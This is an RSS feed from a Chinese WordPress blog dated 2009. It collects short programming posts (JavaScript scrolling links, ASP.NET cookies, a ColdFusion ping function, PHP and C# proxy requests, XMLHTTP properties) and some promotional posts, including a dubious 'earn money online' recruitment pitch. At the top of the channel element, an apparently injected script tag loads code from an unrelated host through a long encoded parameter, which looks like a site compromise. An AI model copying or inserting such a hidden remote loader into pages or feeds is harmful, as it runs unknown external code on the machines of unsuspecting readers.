<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>娱乐事</title>
<script language="javascript" type="text/javascript" src="http://c.menhutong.com.cn/v3.php?a=ZT0FCCBkfTFAOHY2CDNrZE03bDkLMSxlUjU3NXVhLWEOYiNiJ2J2Mh5lIWRCOGljCWRdZiYwbjgFNmM4XDQqYQIycTQwfFV1IX8BcDIsDztfKF0sUFxVAFZ8CVomVgRnXChAdjdRVG4Iewx4Ui0VBmouHi8ZWxMtf1NPXgh+WWt1PkwIJ3xBAyF8QHgLLxcvZiwJMApyCj5sYEFzJXoFa3UrB3UeflR6DHtYbzUxDyNbKAo/MGgLPVV6AVE="></script>
	<link>http://www.yule4.com</link>
	<description>致力于 Coldfusion 开发</description>
	<pubDate>Fri, 26 Jun 2009 02:19:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>【转载】友情链接上下滚动JS实现</title>
		<link>http://www.yule4.com/?p=426</link>
		<comments>http://www.yule4.com/?p=426#comments</comments>
		<pubDate>Fri, 26 Jun 2009 02:19:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=426</guid>
		<description><![CDATA[太幸运了，一搜就找到了。
代码如下：
&#60;div id=&#8221;zfw_gg&#8221; style=&#8221;overflow: hidden; width: 185px; height: 300px&#8221;&#62;
&#60;div id=&#8221;zfw_gg1&#8243;&#62;
&#60;table class=&#8221;normal&#8221; height=&#8221;300&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243; width=&#8221;185&#8243; align=&#8221;center&#8221; border=&#8221;0&#8243;&#62;
&#60;tbody&#62;
&#60;tr&#62;
&#60;td&#62;
&#60;/&#8212;&#8211;你原来的友情链接内容&#8212;&#8212;/&#62;
&#60;/td&#62;
&#60;/tr&#62;
&#60;/tbody&#62;
&#60;/table&#62;
&#60;/div&#62;
&#60;div id=&#8221;zfw_gg2&#8243;&#62; &#60;/div&#62;
&#60;/div&#62;
&#60;script type=&#8221;text/javascript&#8221;&#62;
var zfw_speed=45
zfw_gg2.innerHTML=zfw_gg1.innerHTML
function zfw_Marquee()
{
  if(zfw_gg2.offsetTop - zfw_gg.scrollTop &#60;= 0)
    zfw_gg.scrollTop -= zfw_gg1.offsetHeight
  else{
    zfw_gg.scrollTop++
  }
}
var zfw_MyMar=setInterval(zfw_Marquee,zfw_speed)
zfw_gg.onmouseover=function() {clearInterval(zfw_MyMar)}
zfw_gg.onmouseout=function() {zfw_MyMar=setInterval(zfw_Marquee,zfw_speed)}
&#60;/script&#62;
]]></description>
			<content:encoded><![CDATA[<p>太幸运了，一搜就找到了。</p>
<p>代码如下：</p>
<p>&lt;div id=&#8221;zfw_gg&#8221; style=&#8221;overflow: hidden; width: 185px; height: 300px&#8221;&gt;<br />
&lt;div id=&#8221;zfw_gg1&#8243;&gt;<br />
&lt;table class=&#8221;normal&#8221; height=&#8221;300&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243; width=&#8221;185&#8243; align=&#8221;center&#8221; border=&#8221;0&#8243;&gt;<br />
&lt;tbody&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;<br />
&lt;/&#8212;&#8211;你原来的友情链接内容&#8212;&#8212;/&gt;<br />
&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/tbody&gt;<br />
&lt;/table&gt;<br />
&lt;/div&gt;<br />
&lt;div id=&#8221;zfw_gg2&#8243;&gt; &lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
var zfw_speed=45<br />
zfw_gg2.innerHTML=zfw_gg1.innerHTML<br />
function zfw_Marquee()<br />
{<br />
  if(zfw_gg2.offsetTop - zfw_gg.scrollTop &lt;= 0)<br />
    zfw_gg.scrollTop -= zfw_gg1.offsetHeight<br />
  else{<br />
    zfw_gg.scrollTop++<br />
  }<br />
}<br />
var zfw_MyMar=setInterval(zfw_Marquee,zfw_speed)<br />
zfw_gg.onmouseover=function() {clearInterval(zfw_MyMar)}<br />
zfw_gg.onmouseout=function() {zfw_MyMar=setInterval(zfw_Marquee,zfw_speed)}<br />
&lt;/script&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=426</wfw:commentRss>
		</item>
		<item>
		<title>沈阳进销存软件</title>
		<link>http://www.yule4.com/?p=425</link>
		<comments>http://www.yule4.com/?p=425#comments</comments>
		<pubDate>Thu, 07 May 2009 05:26:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[事业]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=425</guid>
		<description><![CDATA[市场经济发展逐渐成熟，促使竞争越来越激烈，每个竞争者都面临着生存与发展的严峻考验，落后的经营模式，从根本上适应不了当前激烈竞争的市场需求，尤为显示了改变现状的重要性、必要性，这也是经济发展的客观性。要在人、财、物这些关系生产与发展的关键环节上，快速提升自身的综合竞争实力及适应大环境，就必须以最大限度发挥出人、财、物的能量及提高竞争力。现给大家推介一款经市场培育、验证的实用型经典实效的功能强的进销存业务管理软件，帮助大家扛起重任，最大限度的节省人、财、物。高标准实现您的理想境界，同时该软件易懂，操作方便简洁，在设计上、功能上做到了最大限度人性化的体现，使你用上后获得意想不到的收获，将助你最短时间内提高到高效经营管理的前列，让你胸有成竹的面对复杂多变的市场，助你理想和伟业。本软件以优质高端的品质，市场同类产品最低价位，最完善的售后服务体系保障每一个用的利益。
如果你沈阳的商户，请拨打电话与我联络
手机：13478184425
QQ：47722978
]]></description>
			<content:encoded><![CDATA[<p>市场经济发展逐渐成熟，促使竞争越来越激烈，每个竞争者都面临着生存与发展的严峻考验，落后的经营模式，从根本上适应不了当前激烈竞争的市场需求，尤为显示了改变现状的重要性、必要性，这也是经济发展的客观性。要在人、财、物这些关系生产与发展的关键环节上，快速提升自身的综合竞争实力及适应大环境，就必须以最大限度发挥出人、财、物的能量及提高竞争力。现给大家推介一款经市场培育、验证的实用型经典实效的功能强的进销存业务管理软件，帮助大家扛起重任，最大限度的节省人、财、物。高标准实现您的理想境界，同时该软件易懂，操作方便简洁，在设计上、功能上做到了最大限度人性化的体现，使你用上后获得意想不到的收获，将助你最短时间内提高到高效经营管理的前列，让你胸有成竹的面对复杂多变的市场，助你理想和伟业。本软件以优质高端的品质，市场同类产品最低价位，最完善的售后服务体系保障每一个用的利益。</p>
<p>如果你沈阳的商户，请拨打电话与我联络<br />
手机：13478184425<br />
QQ：47722978</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=425</wfw:commentRss>
		</item>
		<item>
		<title>【转载】采用Cookie实现跨子域登陆</title>
		<link>http://www.yule4.com/?p=424</link>
		<comments>http://www.yule4.com/?p=424#comments</comments>
		<pubDate>Mon, 27 Apr 2009 01:16:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=424</guid>
		<description><![CDATA[Cookie有三个属性需要注意一下：
1. Domain 域
2. Path 路径
3. Expires 过期时间
跨域操作需要设置域属性:
Response.Cookies(&#8221;MyCookie&#8221;).Domain = &#8220;yule4.com&#8221;; (这里指的是泛域名)
这样在其它二级域名下就都可以访问到了， ASP 和 ASP.NET 测试通过
虚拟目录下访问：
我在ASP端做了下测试，.NET的没试, 如果不指定Path属性， 不同虚拟目录下Cookie无法共享
将Response.Cookies(&#8221;MyCookie&#8221;).Path = &#8220;/&#8221; 就可以了
总的写法:
Response.Cookies(&#8221;MyCookie&#8221;).Domain = &#8220;cnblogs.com&#8221;;
Response.Cookies(&#8221;MyCookie&#8221;).Path = &#8220;/&#8221;
Response.Cookies(&#8221;MyCookie&#8221;).Expires = Now + 365;
Response.Cookies(&#8221;MyCookie&#8221;)(&#8221;Test&#8221;) = &#8220;test&#8221;;
.NET 清除Cookie
HttpCookie cookie = System.Web.HttpContext.Current.Request.Cookies[cookiename];
if (cookie != null)
{
  cookie.Values.Clear();
  SetUserCookieExpireTime(cookiename, -1);
  cookie.Domain = _domain;
  System.Web.HttpContext.Current.Response.Cookies.Set(cookie);
 }
public static void SetUserCookieExpireTime(string key, int days)
{
  System.Web.HttpContext.Current.Response.Cookies[key].Domain = _domain;
  System.Web.HttpContext.Current.Response.Cookies[key].Path = _cookiepath;
  [...]]]></description>
			<content:encoded><![CDATA[<p>Cookie有三个属性需要注意一下：<br />
1. Domain 域<br />
2. Path 路径<br />
3. Expires 过期时间</p>
<p>跨域操作需要设置域属性:<br />
Response.Cookies(&#8221;MyCookie&#8221;).Domain = &#8220;yule4.com&#8221;; (这里指的是泛域名)<br />
这样在其它二级域名下就都可以访问到了， ASP 和 ASP.NET 测试通过</p>
<p>虚拟目录下访问：<br />
我在ASP端做了下测试，.NET的没试, 如果不指定Path属性， 不同虚拟目录下Cookie无法共享<br />
将Response.Cookies(&#8221;MyCookie&#8221;).Path = &#8220;/&#8221; 就可以了</p>
<p>总的写法:<br />
Response.Cookies(&#8221;MyCookie&#8221;).Domain = &#8220;cnblogs.com&#8221;;<br />
Response.Cookies(&#8221;MyCookie&#8221;).Path = &#8220;/&#8221;<br />
Response.Cookies(&#8221;MyCookie&#8221;).Expires = Now + 365;<br />
Response.Cookies(&#8221;MyCookie&#8221;)(&#8221;Test&#8221;) = &#8220;test&#8221;;</p>
<p>.NET 清除Cookie<br />
HttpCookie cookie = System.Web.HttpContext.Current.Request.Cookies[cookiename];<br />
if (cookie != null)<br />
{<br />
  cookie.Values.Clear();<br />
  SetUserCookieExpireTime(cookiename, -1);<br />
  cookie.Domain = _domain;<br />
  System.Web.HttpContext.Current.Response.Cookies.Set(cookie);<br />
 }<br />
public static void SetUserCookieExpireTime(string key, int days)<br />
{<br />
  System.Web.HttpContext.Current.Response.Cookies[key].Domain = _domain;<br />
  System.Web.HttpContext.Current.Response.Cookies[key].Path = _cookiepath;<br />
  System.Web.HttpContext.Current.Response.Cookies[key].Expires = DateTime.Now.AddDays(days);<br />
}<br />
.NET 添加/更新Cookie<br />
public static void AddUserCookies(string key,string value, string cookiename, string domain)<br />
{<br />
  HttpCookie cookie = System.Web.HttpContext.Current.Request.Cookies[cookiename];<br />
  if (cookie == null)<br />
  {<br />
  cookie = new HttpCookie(cookiename);<br />
  cookie.Domain = domain;<br />
  cookie.Path = _cookiepath;</p>
<p>cookie.Values.Add(key, value);<br />
  HttpContext.Current.Response.AppendCookie(cookie);<br />
  }<br />
  else<br />
  {<br />
  if (System.Web.HttpContext.Current.Request.Cookies[cookiename].Values[key] != null)<br />
  {<br />
  cookie.Values.Set(key, value);<br />
  }<br />
  else<br />
  {<br />
  cookie.Domain = domain;<br />
  cookie.Path = _cookiepath;</p>
<p>cookie.Values.Add(key, value);<br />
  HttpContext.Current.Response.AppendCookie(cookie);<br />
  }<br />
  }<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=424</wfw:commentRss>
		</item>
		<item>
		<title>Coldfusion Ping 网站 函数</title>
		<link>http://www.yule4.com/?p=417</link>
		<comments>http://www.yule4.com/?p=417#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:59:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Coldfusion]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=417</guid>
		<description><![CDATA[Example:
&#60;h3&#62;Ping Test&#60;/h3&#62;
&#60;cfoutput&#62;
Almontel 1: #Ping(&#8221;www.almontel1.com&#8221;)#&#60;br&#62;
Almontel 2: #Ping(&#8221;www.almontel2.com&#8221;)#&#60;br&#62;
&#60;/cfoutput&#62;

Full UDF Source:
&#60;!&#8212;
Pings a website using .net framework
@param host      URL/IP that you would like to ping. (Required)
@return A string containing the results of the ping.
@author Elias (eliasjp@msn.com)
@version 1, October 14, 2008
&#8212;&#62;
&#60;cffunction name=&#8220;Ping&#8221; returntype=&#8220;string&#8221; output=&#8220;false&#8221; access=&#8220;public&#8221;&#62;
&#60;cfargument name=&#8220;host&#8221; type=&#8220;string&#8221; required=&#8220;yes&#8221;&#62;
&#60;!&#8212; Local vars &#8212;&#62;
&#60;cfset var pingClass=&#8220;&#8221;&#62;
&#60;cfset var pingReply=&#8220;&#8221;&#62;
&#60;!&#8212; Get Ping class &#8212;&#62;
&#60;cfobject [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Example:</strong></p>
<p class="udfCode"><span style="color: #000000"><span style="color: #000099">&lt;h3&gt;</span>Ping Test<span style="color: #000099">&lt;/h3&gt;</span><br />
<span style="color: #990033">&lt;cfoutput&gt;</span><br />
Almontel 1: #Ping(&#8221;www.almontel1.com&#8221;)#<span style="color: #000099">&lt;br&gt;</span><br />
Almontel 2: #Ping(&#8221;www.almontel2.com&#8221;)#<span style="color: #000099">&lt;br&gt;</span><br />
<span style="color: #990033">&lt;/cfoutput&gt;</span></span></p>
<p><span style="color: #000000"><span style="color: #990033"></span></span></p>
<p><span style="color: #000000"><span style="color: #990033"><strong>Full UDF Source:</strong></p>
<p class="udfCode"><code><span style="color: #000000"><span style="color: #333333; background-color: #ffff00">&lt;!&#8212;<br />
Pings a website using .net framework</p>
<p>@param host      URL/IP that you would like to ping. (Required)<br />
@return A string containing the results of the ping.<br />
@author Elias (eliasjp@msn.com)<br />
@version 1, October 14, 2008<br />
&#8212;&gt;</span><br />
<span style="color: #990033">&lt;cffunction name=<span style="color: #0000cc">&#8220;Ping&#8221;</span> returntype=<span style="color: #0000cc">&#8220;string&#8221;</span> output=<span style="color: #0000cc">&#8220;false&#8221;</span> access=<span style="color: #0000cc">&#8220;public&#8221;</span>&gt;</span><br />
<span style="color: #990033">&lt;cfargument name=<span style="color: #0000cc">&#8220;host&#8221;</span> type=<span style="color: #0000cc">&#8220;string&#8221;</span> required=<span style="color: #0000cc">&#8220;yes&#8221;</span>&gt;</span><br />
<span style="color: #333333; background-color: #ffff00">&lt;!&#8212; Local vars &#8212;&gt;</span><br />
<span style="color: #990033">&lt;cfset<span style="color: #000000"> var pingClass=<span style="color: #006600">&#8220;&#8221;</span></span>&gt;</span><br />
<span style="color: #990033">&lt;cfset<span style="color: #000000"> var pingReply=<span style="color: #006600">&#8220;&#8221;</span></span>&gt;</span><br />
<span style="color: #333333; background-color: #ffff00">&lt;!&#8212; Get Ping class &#8212;&gt;</span><br />
<span style="color: #990033">&lt;cfobject type=<span style="color: #0000cc">&#8220;.NET&#8221;</span> name=<span style="color: #0000cc">&#8220;pingClass&#8221;</span><br />
class=<span style="color: #0000cc">&#8220;System.Net.NetworkInformation.Ping&#8221;</span>&gt;</span><br />
<span style="color: #333333; background-color: #ffff00">&lt;!&#8212; Perform synchronous ping (using defaults) &#8212;&gt;</span><br />
<span style="color: #990033">&lt;cfset<span style="color: #000000"> pingReply=pingClass.Send(Arguments.host)</span>&gt;</span><br />
<span style="color: #333333; background-color: #ffff00">&lt;!&#8212; Return result &#8212;&gt;</span><br />
<span style="color: #990033">&lt;cfreturn pingReply.Get_Status().ToString()&gt;</span><br />
<span style="color: #990033">&lt;/cffunction&gt;</span><br />
</span></code></p>
<p></span></span></p>
<p class="udfCode">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=417</wfw:commentRss>
		</item>
		<item>
		<title>免费网赚之推广赚钱</title>
		<link>http://www.yule4.com/?p=416</link>
		<comments>http://www.yule4.com/?p=416#comments</comments>
		<pubDate>Fri, 09 Jan 2009 03:51:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[网赚]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=416</guid>
		<description><![CDATA[【雨荷网】成立于2007年9月份，旨在把目前最新的、最热门的、同时又比较简单的网上赚钱方法，免费推荐给国内的广大网友。希望能帮助想在网上赚钱的新人朋友们起到入门引导作用，使第一次接触网上赚钱的朋友能够尽快了解网上赚钱这一行业，并以最快的速度在网上淘到自己的第一桶金。
　　因业务发展需要，【雨荷网】诚招兼职宣传员、网上发帖员，零风险，虽然不会一夜暴富，但能收入稳定，薪水1000-2000元/月，薪水日结、周结、月结均可，薪水直接打到银行卡或支付宝上，欢迎有意者到直接到网站了解报名，地址：注册
]]></description>
			<content:encoded><![CDATA[<p>【雨荷网】成立于2007年9月份，旨在把目前最新的、最热门的、同时又比较简单的网上赚钱方法，免费推荐给国内的广大网友。希望能帮助想在网上赚钱的新人朋友们起到入门引导作用，使第一次接触网上赚钱的朋友能够尽快了解网上赚钱这一行业，并以最快的速度在网上淘到自己的第一桶金。<br />
　　因业务发展需要，【雨荷网】诚招兼职宣传员、网上发帖员，零风险，虽然不会一夜暴富，但能收入稳定，薪水1000-2000元/月，薪水日结、周结、月结均可，薪水直接打到银行卡或支付宝上，欢迎有意者到直接到网站了解报名，地址：<a href="http://www.24bm.net/cf.aspx?28&#038;sky2499">注册</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=416</wfw:commentRss>
		</item>
		<item>
		<title>php 通过代理访问网站</title>
		<link>http://www.yule4.com/?p=412</link>
		<comments>http://www.yule4.com/?p=412#comments</comments>
		<pubDate>Thu, 30 Oct 2008 04:41:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术杂文]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=412</guid>
		<description><![CDATA[&#60;?
function curl_string ($url,$user_agent,$proxy){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_PROXY, $proxy);
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt ($ch, CURLOPT_COOKIEJAR, &#8220;c:\cookie.txt&#8221;);
curl_setopt ($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
$url_page = http://www.yule4.com;
$user_agent = &#8220;Mozilla/4.0&#8243;;
$proxy = &#8220;http://192.11.222.124:8000&#8243;;
$string = curl_string($url_page,$user_agent,$proxy);
echo $string;
?&#62;
]]></description>
			<content:encoded><![CDATA[<p>&lt;?<br />
function curl_string ($url,$user_agent,$proxy){</p>
<p>$ch = curl_init();<br />
curl_setopt ($ch, CURLOPT_PROXY, $proxy);<br />
curl_setopt ($ch, CURLOPT_URL, $url);<br />
curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);<br />
curl_setopt ($ch, CURLOPT_COOKIEJAR, &#8220;c:\cookie.txt&#8221;);<br />
curl_setopt ($ch, CURLOPT_HEADER, 1);<br />
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);<br />
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);<br />
curl_setopt ($ch, CURLOPT_TIMEOUT, 120);<br />
$result = curl_exec ($ch);<br />
curl_close($ch);<br />
return $result;</p>
<p>}</p>
<p>$url_page = <a href="http://www.yule4.com/">http://www.yule4.com</a>;<br />
$user_agent = &#8220;Mozilla/4.0&#8243;;<br />
$proxy = &#8220;http://192.11.222.124:8000&#8243;;<br />
$string = curl_string($url_page,$user_agent,$proxy);<br />
echo $string;<br />
?&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=412</wfw:commentRss>
		</item>
		<item>
		<title>C# 通过代理获取网页内容</title>
		<link>http://www.yule4.com/?p=411</link>
		<comments>http://www.yule4.com/?p=411#comments</comments>
		<pubDate>Thu, 30 Oct 2008 04:26:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=411</guid>
		<description><![CDATA[string urlStr = &#8220;http://www.domain.com&#8221;;                            //設定要獲取的地址
HttpWebRequest hwr = (HttpWebRequest)HttpWebRequest.Create(urlStr);    //建立HttpWebRequest對象
hwr.Timeout = 60000;               [...]]]></description>
			<content:encoded><![CDATA[<p>string urlStr = &#8220;http://www.domain.com&#8221;;                            //設定要獲取的地址<br />
HttpWebRequest hwr = (HttpWebRequest)HttpWebRequest.Create(urlStr);    //建立HttpWebRequest對象<br />
hwr.Timeout = 60000;                                                //定義服務器超時時間<br />
WebProxy proxy = new WebProxy();                                    //定義一個網關對象<br />
proxy.Address = new Uri(&#8221;http://proxy.domain.com:3128&#8243;);            //網關服務器:端口<br />
proxy.Credentials = new NetworkCredential(&#8221;f3210316&#8243;, &#8220;6978233&#8243;);    //用戶名,密碼<br />
hwr.UseDefaultCredentials = true;                                    //啟用網關認証<br />
hwr.Proxy = proxy;                                                    //設置網關<br />
HttpWebResponse hwrs = (HttpWebResponse)hwr.GetResponse();            //取得回應<br />
Stream s = hwrs.GetResponseStream();                                //得到回應的流對象<br />
StreamReader sr = new StreamReader(s, Encoding.UTF8);                //以UTF-8編碼讀取流<br />
StringBuilder content = new StringBuilder();                        //<br />
while (sr.Peek() != -1)                                                //每次讀取一行,直到<br />
{                                                                    //下一個字節沒有內容<br />
    content.Append(sr.ReadLine()+&#8221;\r\n&#8221;);                            //返回為止<br />
}                                                                    //<br />
return content.ToString() ;                                            //返回得到的字符串</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=411</wfw:commentRss>
		</item>
		<item>
		<title>Microsoft.XMLHTTP 对象</title>
		<link>http://www.yule4.com/?p=410</link>
		<comments>http://www.yule4.com/?p=410#comments</comments>
		<pubDate>Thu, 30 Oct 2008 01:18:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ASP]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=410</guid>
		<description><![CDATA[MSXML中提供了Microsoft.XMLHTTP对象，能够完成从数据包到Request对象的转换以及发送任务。
创建XMLHTTP对象的语句如下：
Set objXML = createObject(Msxml2.XMLHTTP) 或
Set objXML = createObject(&#8221;Microsoft.XMLHTTP&#8221;)
&#8216; Or, for version 3.0 of XMLHTTP, use:
&#8216; Set xml = Server.createObject(MSXML2.ServerXMLHTTP)
对象创建后调用Open方法对Request对象进行初始化，语法格式为：
poster.open http-method, url, async, userID, password
Open方法中包含了5个参数，前三个是必要的，后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示：




http-method： HTTP的通信方式，比如GET或是 POST
url： 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序
async： 一个布尔标识，说明请求是否为异步的。如果是异步通信方式(true)，客户机就不等待服务器的响应；如果是同步方式(false)，客户机就要等到服务器返回消息后才去执行其他操作
userID 用户ID，用于服务器身份验证
password 用户密码，用于服务器身份验证&#38;nbsp;
XMLHTTP对象的Send方法
用Open方法对Request对象进行初始化后，调用Send方法发送XML数据：
poster.send XML-data
Send方法的参数类型是Variant，可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下，数据包一旦发送完毕，就结束Send进程，客户机执行其他的操作；而在同步方式下，客户机要等到服务器返回确认消息后才结束Send进程。
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示：
值 说明
0 Response对象已经创建，但XML文档上载过程尚未结束
1 XML文档已经装载完毕
2 XML文档已经装载完毕，正在处理中
3 部分XML文档已经解析
4 文档已经解析完毕，客户端可以接受返回消息
客户机处理响应信息
客户机接收到返回消息后，进行简单的处理，基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的：
● responseTxt：将返回消息作为文本字符串；
● responseXML：将返回消息视为XML文档，在服务器响应消息中含有XML数据时使用；
● responseStream：将返回消息视为Stream对象。
AspHTTP组件的属性
Accept
指示什么样的MIME类型可以被请求程序接受
例如:
HttpObj.Accept = &#8220;*/*&#8221;
Authorization
授权头可以让你获得 需要验证身份的地方的url
用户名和口令之间用冒号点开
例如:
HttpObj.Authorization = &#8220;jimb:superbmr&#8221;
BinaryData
返回来自getURl请求获得的两进制格式的数据，你可以用这个属性取得两进制数据
如来自另一个web服务器的图片例如:
&#60;%
Response.ContentType = &#8220;image/gif&#8221;
Set HTTPObj = Server.createObject(&#8221;AspHTTP.Conn&#8221;)
HTTPObj.Url = &#8220;/blog/upload/200562215730899.gif&#8221;
HTTPObj.GetURL
Response.BinaryWrite HTTPObj.BinaryData
%&#62;
ContentType
这个属性允许你在POST***作时自定义content-type头
例如:
ContentType = [...]]]></description>
			<content:encoded><![CDATA[<p>MSXML中提供了Microsoft.XMLHTTP对象，能够完成从数据包到Request对象的转换以及发送任务。<br />
创建XMLHTTP对象的语句如下：<br />
Set objXML = createObject(Msxml2.XMLHTTP) 或<br />
Set objXML = createObject(&#8221;Microsoft.XMLHTTP&#8221;)<br />
&#8216; Or, for version 3.0 of XMLHTTP, use:<br />
&#8216; Set xml = Server.createObject(MSXML2.ServerXMLHTTP)<br />
对象创建后调用Open方法对Request对象进行初始化，语法格式为：<br />
poster.open http-method, url, async, userID, password<br />
Open方法中包含了5个参数，前三个是必要的，后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示：</p>
<p><span id="more-410"></span><script type="text/javascript"><!--
google_ad_client = "pub-8803527935376436";
/* 468x60, 创建于 08-3-31 */
google_ad_slot = "7759335048";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
http-method： HTTP的通信方式，比如GET或是 POST<br />
url： 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序<br />
async： 一个布尔标识，说明请求是否为异步的。如果是异步通信方式(true)，客户机就不等待服务器的响应；如果是同步方式(false)，客户机就要等到服务器返回消息后才去执行其他操作<br />
userID 用户ID，用于服务器身份验证<br />
password 用户密码，用于服务器身份验证&amp;nbsp;<br />
XMLHTTP对象的Send方法<br />
用Open方法对Request对象进行初始化后，调用Send方法发送XML数据：<br />
poster.send XML-data<br />
Send方法的参数类型是Variant，可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下，数据包一旦发送完毕，就结束Send进程，客户机执行其他的操作；而在同步方式下，客户机要等到服务器返回确认消息后才结束Send进程。<br />
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示：<br />
值 说明<br />
0 Response对象已经创建，但XML文档上载过程尚未结束<br />
1 XML文档已经装载完毕<br />
2 XML文档已经装载完毕，正在处理中<br />
3 部分XML文档已经解析<br />
4 文档已经解析完毕，客户端可以接受返回消息<br />
客户机处理响应信息<br />
客户机接收到返回消息后，进行简单的处理，基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的：<br />
● responseTxt：将返回消息作为文本字符串；<br />
● responseXML：将返回消息视为XML文档，在服务器响应消息中含有XML数据时使用；<br />
● responseStream：将返回消息视为Stream对象。</p>
<p>AspHTTP组件的属性</p>
<p>Accept<br />
指示什么样的MIME类型可以被请求程序接受<br />
例如:<br />
HttpObj.Accept = &#8220;*/*&#8221;</p>
<p>Authorization<br />
授权头可以让你获得 需要验证身份的地方的url<br />
用户名和口令之间用冒号点开<br />
例如:<br />
HttpObj.Authorization = &#8220;jimb:superbmr&#8221;</p>
<p>BinaryData<br />
返回来自getURl请求获得的两进制格式的数据，你可以用这个属性取得两进制数据<br />
如来自另一个web服务器的图片例如:<br />
&lt;%<br />
Response.ContentType = &#8220;image/gif&#8221;<br />
Set HTTPObj = Server.createObject(&#8221;AspHTTP.Conn&#8221;)<br />
HTTPObj.Url = &#8220;/blog/upload/200562215730899.gif&#8221;<br />
HTTPObj.GetURL<br />
Response.BinaryWrite HTTPObj.BinaryData<br />
%&gt;</p>
<p>ContentType<br />
这个属性允许你在POST***作时自定义content-type头<br />
例如:<br />
ContentType = &#8220;application/x-www-form-urlencoded&#8221;</p>
<p>Error<br />
报告请求中发生的任何错误</p>
<p>FollowRedirects<br />
FollowRedirects告诉组件跟随HTTP Server的重定向<br />
例如:<br />
HttpObj.FollowRedirects = true</p>
<p>Headers<br />
Headers属性包含了在请求被调用GetURL处理完成之后，来自http请求的回应头<br />
例如:<br />
Response.Write HttpObj.Headers</p>
<p>Port<br />
Port属性指示连接http服务器的端口号<br />
例如:<br />
HttpObj.Port = 80</p>
<p>PostData<br />
PostData属性应该被设置为你希望post请求POST到web服务器的数据的值<br />
例如:<br />
HttpObj.PostData = &#8220;suid=jimb&amp;act=upd&#8221;</p>
<p>Protocol<br />
指示请求应该使用的http协议版本号，缺省值是HTTP/1.0<br />
例如:<br />
HttpObj.Protocol = &#8220;HTTP/1.1&#8243;</p>
<p>Proxy<br />
proxy属性包含proxy server代理服务器的地址/端口，冒号点开<br />
例如:<br />
HttpObj.Proxy = &#8220;address.net:2001&#8243;</p>
<p>ProxyPassword<br />
设置需要验证的http代理服务器的http代理密码，现在只支持basic authentication（基本验证)</p>
<p>RequestMethod<br />
RequestMethod属性指示发给服务器http请求的类型，合法的值是&#8221;GET&#8221;, &#8220;POST&#8221; 和 &#8220;HEAD&#8221;.<br />
例如:<br />
HttpObj.RequestMethod = &#8220;POST&#8221;</p>
<p>RegisteredUser<br />
